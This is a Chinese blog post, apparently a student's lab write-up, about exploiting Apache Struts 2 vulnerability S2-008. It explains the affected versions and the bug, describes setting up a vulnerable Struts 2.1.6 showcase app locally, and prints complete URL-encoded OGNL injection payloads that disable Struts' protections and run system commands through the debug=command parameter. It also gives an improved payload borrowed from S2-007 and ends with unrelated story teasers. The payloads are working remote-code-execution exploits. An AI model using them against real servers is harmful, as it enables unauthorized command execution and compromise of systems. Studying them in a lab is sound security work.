Struts-S2-008漏洞利用,解决网上大部分POC部分命令执行不完全问题(含POC,含环境搭建)

struts-s2-008

此文仅供大家交流学习,严禁非法使用

解决网上大部分POC部分命令不能执行的问题

一、参考网址:

https://www.waitalone.cn/struts2-command-exp.html

http://www.freebuf.com/articles/web/25337.html

二、 影响版本:

Struts 2.1.0 - Struts 2.3.1

三、 漏洞介绍:

为了防止攻击者在参数中调用任意方法,标志xwork.MethodAccessor.denyMethodExecution被设置为true,并且SecurityMemberAccess字段默认allowStaticMethodAccess设置为false。另外,为了防止对上下文变量的访问,在ParameterInterceptorStruts 2.2.1.1中应用了改进的参数名称白名单:

acceptedParamNames = "[a-zA-Z0-9.][()_']+";

在某些情况下,可以绕过这些限制来执行恶意Java代码。

Struts****中的远程命令执行****<= 2.2.1.1****(****ExceptionDelegator****)
当将参数值应用于属性时发生异常时,该值将被评估为OGNL表达式。例如,当将字符串值设置为整数属性时,会发生这种情况。由于这些值不被过滤,攻击者可能会滥用OGNL语言的强大功能来执行任意Java代码,从而导致远程命令执行。已报告此问题(https://issues.apache.org/jira/browse/WW-3668),并在Struts 2.2.3.1中修复。然而,执行任意Java代码的能力已被忽视。

Struts****中的远程命令执行****<= 2.3.1****(****CookieInterceptor****)
参数名称的字符白名单不适用于CookieInterceptor。当Struts配置为处理cookie名称时,攻击者可以使用静态方法访问Java函数来执行任意系统命令。因此,allowStaticMethodAccess可以在请求中将该标志设置为true。

Struts****中的任意文件覆盖****<= 2.3.1****(****ParameterInterceptor****)由于Struts 2.2.3.1攻击者仍然可以访问公共构造函数,只能使用一个String类型的参数来创建新的Java对象并仅使用其设置器访问参数中
的标志allowStaticMethodAccessString类型的一个参数。例如,这可以被滥用来创建和覆盖任意文件。要将禁止的字符注入文件名,可以使用未初始化的字符串属性。

Struts****中的远程命令执行****<= 2.3.1****(****DebuggingInterceptor****)
虽然本身不​​是安全漏洞,但请注意,以开发人员模式运行并使用的应用程序DebuggingInterceptor也易于执行远程命令。尽管应用程序在生产过程中永远不应该在开发人员模式下运行,但开发人员应该意识到,这样做不仅会带来性能问题(如记录在案),而且也是关键的安全影响。

即S2-007,参考上一篇文档

ookiename没有做特殊字符的限制,会被当作ognl代码执行。不过java的webserver(tomcat等)在cookiename中禁掉了很多非主流字符,该漏洞局限性较大,危害较小。

对于(1)(2)这样的ongl表达式,ongl会把1当作一个ongl表达式先执行。对于url参数user=(1)(2),struts2只对user参数做了过滤,并没有限制参数值,从而导致漏洞的产生,此种利用方法在S2-009中提出,S2-008中只提出了二进制文件覆盖的方法。

struts2配置中开启debug调试模式,直接传入ongl表达式执行。

命令执行EXP:exp.action?debug=command&expression=…

四、 环境搭建:

  • 下载/struts/2.1.6

下载地址:http://archive.apache.org/dist/struts/binaries/struts-2.1.6-apps.zip

  • 下载安装xampp

  • 部署showcase

  • 解压

2.1.6_1.png

2.1.6_2.png
  • 复制到.
2.1.6_3.png
  • 重启tomcat
2.1.6_4.png
  • 已成功自动部署
2.1.6_5.png

五、打开struts.xml

devmode.png

保证<constant name="struts.devMode" value="true" />

六、POC

3的POC

exp.action?name=(%23context["xwork.MethodAccessor.denyMethodExecution"]=+new+java.lang.Boolean(false),+%23_memberAccess["allowStaticMethodAccess"]=true,+%23a=@java.lang.Runtime@getRuntime().exec('ipconfig').getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)('meh')]

但并不知道该如何使用
希望大家能指导指导

4的POC

debug=command&expression=%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue%29%2c%23a%3d@java.lang.Runtime@getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2c%23b%3dnew java.io.InputStreamReader%28%23a%29%2c%23c%3dnew java.io.BufferedReader%28%23b%29%2c%23d%3dnew char%5b50000%5d%2c%23c.read%28%23d%29%2c%23genxor%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c%23genxor.println%28%23d%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29

七、原始网址为

http://127.0.0.1:8080/struts2-showcase-2.1.6/home.action

八、更改后为

http://127.0.0.1:8080/struts2-showcase-2.1.6/home.action?debug=command&expression=%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue%29%2c%23a%3d@java.lang.Runtime@getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2c%23b%3dnew java.io.InputStreamReader%28%23a%29%2c%23c%3dnew java.io.BufferedReader%28%23b%29%2c%23d%3dnew char%5b50000%5d%2c%23c.read%28%23d%29%2c%23genxor%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c%23genxor.println%28%23d%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29

出现下载框


1.png

使用notepad++打开看到


2.png

九、发现问题并修改

但发现一个问题,在运行时ipconfig时只出现windows ip,没有后面的实质性内容,测试过各种方法不能奏效,网上大部分poc相同,束手无策之时想到最近写struts2漏洞的poc大致相同,又考虑到此漏洞commond直接就可以执行,于是我将S2-007的POC搬了过来,奇迹发生了

原网址:

http://127.0.0.1:8080/struts2-showcase-2.1.6/showcase.action

添加构造

http://127.0.0.1:8080/struts2-showcase-2.1.6/showcase.action?debug=command&expression=

添加S2-007的POC

http://127.0.0.1:8080/struts2-showcase-2.1.6/showcase.action?debug=command&expression=(%23_memberAccess.allowStaticMethodAccess=true,%23context["xwork.MethodAccessor.denyMethodExecution"]=false,%23cmd="ipconfig",%23ret=@java.lang.Runtime@getRuntime().exec(%23cmd),%23data=new+java.io.DataInputStream(%23ret.getInputStream()),%23res=new+byte[1000],%23data.readFully(%23res),%23echo=new+java.lang.String(%23res),%23out=@org.apache.struts2.ServletActionContext@getResponse(),%23out.getWriter().println(%23echo))

执行结果


3.png

注意修改res大小,详情参照我的S2-007教程

成功执行

十、至此,这个漏洞基本利用完毕。

本人还是一个未毕业的小萌新,希望大家多多帮助,有问题请发送邮件到xrzsupupup@163.com不胜感激,我也会尽量去帮助大家

坚决做一名白帽子

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 159,015评论 4 362
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,262评论 1 292
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 108,727评论 0 243
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,986评论 0 205
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,363评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,610评论 1 219
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,871评论 2 312
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,582评论 0 198
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,297评论 1 242
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,551评论 2 246
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,053评论 1 260
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,385评论 2 253
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,035评论 3 236
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,079评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,841评论 0 195
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,648评论 2 274
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,550评论 2 270

推荐阅读更多精彩内容